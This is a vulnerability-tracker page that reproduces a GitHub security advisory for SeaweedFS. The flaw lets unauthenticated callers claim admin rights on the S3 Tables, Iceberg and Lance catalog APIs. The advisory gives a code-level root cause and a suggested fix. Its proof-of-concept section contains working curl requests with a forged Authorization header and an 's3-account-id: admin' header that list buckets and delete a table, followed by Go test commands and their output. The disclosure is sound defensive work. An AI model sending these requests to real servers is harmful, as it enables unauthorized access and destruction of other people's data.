GHSA-25HP-4MW7-9C75
Unauthenticated admin access to the S3 Tables, Iceberg and Lance APIs
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-25HP-4MW7-9C75 divulgada · CVSS 9.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
On an S3 gateway that enforces S3 authentication but was started without `-iam.config` (the default), the S3 Tables, Iceberg REST catalog and Lance namespace APIs let a request through after its authentication has already failed, and the unauthenticated caller can name itself `admin` with a plain request header. That grants full control of the table catalog, including deleting tables and their data, to anyone who can reach the port.
Details
Three composing defects, all present at HEAD.
1. An authorization default is used as an authentication fallback. `weed/s3api/s3api_tables.go:702-713`:
identity, errCode := s3a.iam.AuthSignatureOnly(r)
if errCode != s3err.ErrNone {
// If IAM is enabled but DefaultAllow is true, we can proceed even if unauthenticated
if s3a.iam.iamIntegration != nil && s3a.iam.iamIntegration.DefaultAllow() {
glog.V(2).Infof("S3Tables: AuthSignatureOnly failed (%v), but DefaultAllow is true, proceeding", errCode)
} else {
s3err.WriteErrorResponse(w, r, errCode)
return
}
}`iceberg.Server.Auth` (`weed/s3api/iceberg/server.go:250-270`) and `lance.Server.Auth` (`weed/s3api/lance/server.go:156-172`) have the identical shape, and both servers take the `S3ApiServer` as their authenticator (`weed/command/s3.go:563` and `:612`). Both listen by default: `-port.iceberg` 8181 and `-port.lance` 9101 (`weed/command/s3.go:100-101` and `:393-400`). The function already expresses "zero-config open" correctly one branch earlier, with `if !s3a.iam.isEnabled() { f(w, r); return }`, so this second bypass is only ever reached when authentication is enabled. The ordinary S3 data plane, which has no such fallback, returns 403 for the same request.
2. `DefaultAllow()` is true whenever no IAM config file is given. `weed/s3api/s3api_server.go:1189-1199` sets `DefaultEffect = EffectAllow` when `configPath == ""` (and `StoreType` was defaulted to `memory` two lines above). Nothing in that decision consults whether S3 authentication is enabled. The subsystem is initialised whenever `-iam` / `-s3.iam` is set, which defaults to `true` (`weed/command/s3.go:124`, `weed/command/server.go:189`), and loads whenever a signing key resolves from `jwt.filer_signing.key` or an SSE-S3 KEK (`s3api_server.go:1211-1228`).
3. The unauthenticated caller picks its own principal, and `admin` is an unconditional grant. `authenticateRequestInternal` scrubs `X-SeaweedFS-Principal` and `X-SeaweedFS-Session-Token` from client input (`weed/s3api/auth_credentials.go:1680-1681`) but not `s3-account-id`, and `AuthSignatureOnly` never reaches its `r.Header.Set(AmzAccountId, ...)` line on a failed authentication. `getAccountID` (`weed/s3api/s3tables/handler.go:229-290`) then falls through to:
if accountID := r.Header.Get(s3_constants.AmzAccountId); accountID != "" {
if principal := normalizePrincipalID(accountID); principal != "" {
return principal // handler.go:284-288: no admin guard here
}
}and `CheckPermissionWithContext` (`weed/s3api/s3tables/permissions.go:99-102`) returns `true` for principal `"admin"` (`AccountAdminId`, `weed/s3api/s3_constants/s3_acp.go:5`) before the resource policy is parsed, so an explicit `Deny` on the table bucket does not stop it.
The 4.34 fix for GHSA-hgpf-8634-g44c / CVE-2026-55873 added exactly that admin guard, but only on the identity branch (`handler.go:268`, `principal != AccountAdminId || hasAdminAction(...)`), not on the header branch above. Even without the header, `defaultAllowFor` (`weed/s3api/s3tables/iam.go:54-66`) returns `true` for a request carrying no identity, so any unauthenticated caller is allowed on any table bucket that has no policy of its own. This report is scoped to the residue that fix left behind; it is not a restatement of that advisory, whose precondition was an authenticated low-privileged S3 user.
Suggested fix. Return the authentication error in all three wrappers when `iam.isEnabled()`; scrub `s3_constants.AmzAccountId` from inbound requests alongside the other two server-set headers; apply the existing `hasAdminAction` guard to the header branch of `getAccountID`; and stop letting `configPath == ""` imply `EffectAllow` once identities are configured.
PoC
Configuration. An S3 gateway that requires authentication and has no IAM config file: S3 identities configured (`weed s3 -s3.config=identities.json`, or credentials in the filer store) so anonymous S3 requests are rejected; no `-iam.config` / `-s3.iam.config`; `-iam` left at its default `true`; and a signing key available so the IAM manager loads, from `jwt.filer_signing.key` in `security.toml` or an initialised SSE-S3 KEK.
By hand, with no credentials at all:
# Enumerate every table bucket.
curl -sS 'http://s3.example.com/buckets' \
-H 'Authorization: AWS4-HMAC-SHA256 Credential=AAAA/20260917/us-east-1/s3tables/aws4_request, SignedHeaders=host, Signature=00' \
-H 's3-account-id: admin'
# Delete a table and its data, over the bucket's Deny-all policy.
curl -sS -X DELETE 'http://s3.example.com/tables/arn:aws:s3tables:us-east-1:000000000000:bucket/victim/ns/tbl' \
-H 'Authorization: AWS4-HMAC-SHA256 Credential=AAAA/20260917/us-east-1/s3tables/aws4_request, SignedHeaders=host, Signature=00' \
-H 's3-account-id: admin'The `Authorization` header only has to contain `/s3tables/` in the credential scope for the route to match (`isS3TablesSignedRequest`, `weed/s3api/s3api_tables.go:661-668`); the signature is never verified on this path. The two catalog servers need no header at all on their own default ports: `curl -sS http://s3.example.com:8181/v1/namespaces` and `curl -sS http://s3.example.com:9101/v1/namespace/list`.
Scripted. Two self-contained Go tests build the IAM wiring `NewS3ApiServer` produces for the configuration above and drive the real `authenticateS3Tables`, the real `IdentityAccessManagement.Auth`, the real `iceberg.Server.Auth` and `lance.Server.Auth` (constructed exactly as `weed/command/s3.go` does), the real `getAccountID` / `defaultAllowFor`, and the real `CheckPermissionWithContext`. No production code is modified.
git checkout 66f17548966cedaedcc58b4afba72c39d81d7367
# copy the two test files into weed/s3api/ and weed/s3api/s3tables/, then:
go test -count=1 ./weed/s3api/ -run TestAresPoC_S3TablesAdmitsUnauthenticated -v
go test -count=1 ./weed/s3api/s3tables/ -run TestAresPoC_S3TablesPrincipalFromHeader -vObserved at `66f17548966cedaedcc58b4afba72c39d81d7367` (v4.47 plus 5 commits):
=== RUN TestAresPoC_S3TablesAdmitsUnauthenticated
no -iam.config -> IAMManager DefaultAllow() = true
PASS control: unauthenticated GET on the ordinary S3 data plane -> 403 (rejected)
PASS control: an explicit policy config with DefaultEffect=Deny reports DefaultAllow() = false
FAIL unauthenticated request reached the S3 Tables handler -> 200
FAIL handler sees client-supplied s3-account-id = "admin" (never scrubbed, never overwritten)
FAIL unauthenticated request reached the Iceberg REST catalog handler -> 200
FAIL unauthenticated request reached the Lance namespace handler -> 200
RESULT_S3API: VULNERABLE
=== RUN TestAresPoC_S3TablesPrincipalFromHeader
resolved principal = "admin" (AccountAdminId = "admin")
defaultAllowFor(request) = true
PASS control: a Deny-all bucket policy refuses an ordinary spoofed principal
FAIL DeleteTableBucket ALLOWED for a header-supplied "admin" principal, over a Deny-all bucket policy
FAIL DeleteTableBucket ALLOWED for any unauthenticated caller when the bucket has no policy
RESULT_S3TABLES: VULNERABLEControls: the same unauthenticated request put through the ordinary S3 data-plane wrapper on the same gateway object returns 403 and never reaches the handler, so the only difference is which wrapper the route uses; a policy engine initialised with `DefaultEffect: Deny` reports `DefaultAllow() == false`, which is the branch a supplied `-iam.config` takes; and the same Deny-all bucket policy does refuse an ordinary spoofed principal (`mallory`), so the allow for `admin` is the admin shortcut and not a broken evaluator. The full PoC bundle (driver script, test sources, recorded output, environment) is available on request.
Not reproduced at runtime. The final filer write (the table directory actually being removed) needs a running master, volume and filer cluster, which this local audit did not build. Everything up to and including the authorization decision is reproduced above.
Version range. Scoped to `>= 4.34` deliberately: 4.34 is the fix for GHSA-hgpf-8634-g44c, which covered the authenticated variant of this path. Verified against the tree, `git show 4.33:weed/s3api/s3tables/handler.go` has no `AccountAdminId` guard at all; `git show 4.34:...` has it at line 224 on the identity branch, while the `s3-account-id` header branch at line 240 is unguarded. Runtime reproduction was performed at the HEAD commit above; the 4.34 boundary rests on inspection of the tagged trees.
Impact
Missing authentication for a critical function, with the authorization decision then taken from a client-controlled request header. Any unauthenticated network peer that can reach the S3 port (or 8181 / 9101) drives the whole table control plane: `ListTableBuckets`, `GetTableBucket`, `CreateTableBucket`, `CreateNamespace`, `CreateTable`, `UpdateTable`, `RenameTable`, `DeleteTable`, the view equivalents, `Get/Put/DeleteTableBucketPolicy`, `Get/Put/DeleteTablePolicy`, tagging and maintenance, plus the full Iceberg REST and Lance catalogs. `DeleteTable` recursively removes the table's data directory (`weed/s3api/s3tables/handler_table.go:1021`), so this is unauthenticated data destruction, not only metadata disclosure. Claiming `admin` additionally overrides any explicit `Deny` written into a table bucket or table policy, so an operator who reacts by writing a deny-all policy is still not protected. Affects operators who enforce S3 authentication but have not supplied an explicit `-iam.config`.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-25hp-4mw7-9c75Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
